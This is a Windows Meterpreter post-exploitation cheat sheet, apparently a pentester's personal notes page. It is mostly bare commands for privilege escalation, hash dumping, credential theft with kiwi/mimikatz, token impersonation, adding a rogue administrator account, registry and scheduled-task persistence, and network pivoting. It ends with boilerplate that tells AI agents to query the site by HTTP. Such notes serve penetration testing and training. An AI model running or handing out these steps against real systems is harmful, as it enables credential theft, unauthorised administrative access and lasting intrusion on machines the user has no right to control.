# windows meterpreter

## shell access (cmd & powershell)

1. for cmd.exe `shell`
2. for powershell
   1. `load powershell` > `powershell_shell`

## windows specific commands

```bash
getuid
sysinfo
ipconfig
arp
route
getsystem
getprivs

migrate <system-process>

hashdump
```

## post enumeration

```bash
run post/windows/gather/*
```

### incognito | [milkdevil/incognito2](https://github.com/milkdevil/incognito2)

```bash
load incognito
list_tokens [-u | -g]
impersonate_token "<token>"

# for better results
migrate <pid>
add_user <user> <pass>
add_localgroup Administrators <user>
```

### mimikatz

```bash
load kiwi
creds_all
```

### local exploit suggester

```bash
run post/multi/recon/local_exploit_suggester
```

## Persistence

```bash
persistence -h
use exploit/windows/local/persistence
use exploit/windows/local/registry_persistence

run scheduleme
run schtaskabuse
```

## autoroute

```bash
run autoroute -s IP/CIDR
run autoroute -p
[OR]
use post/multi/manage/autoroute
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/os-windows/windows-meterpreter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
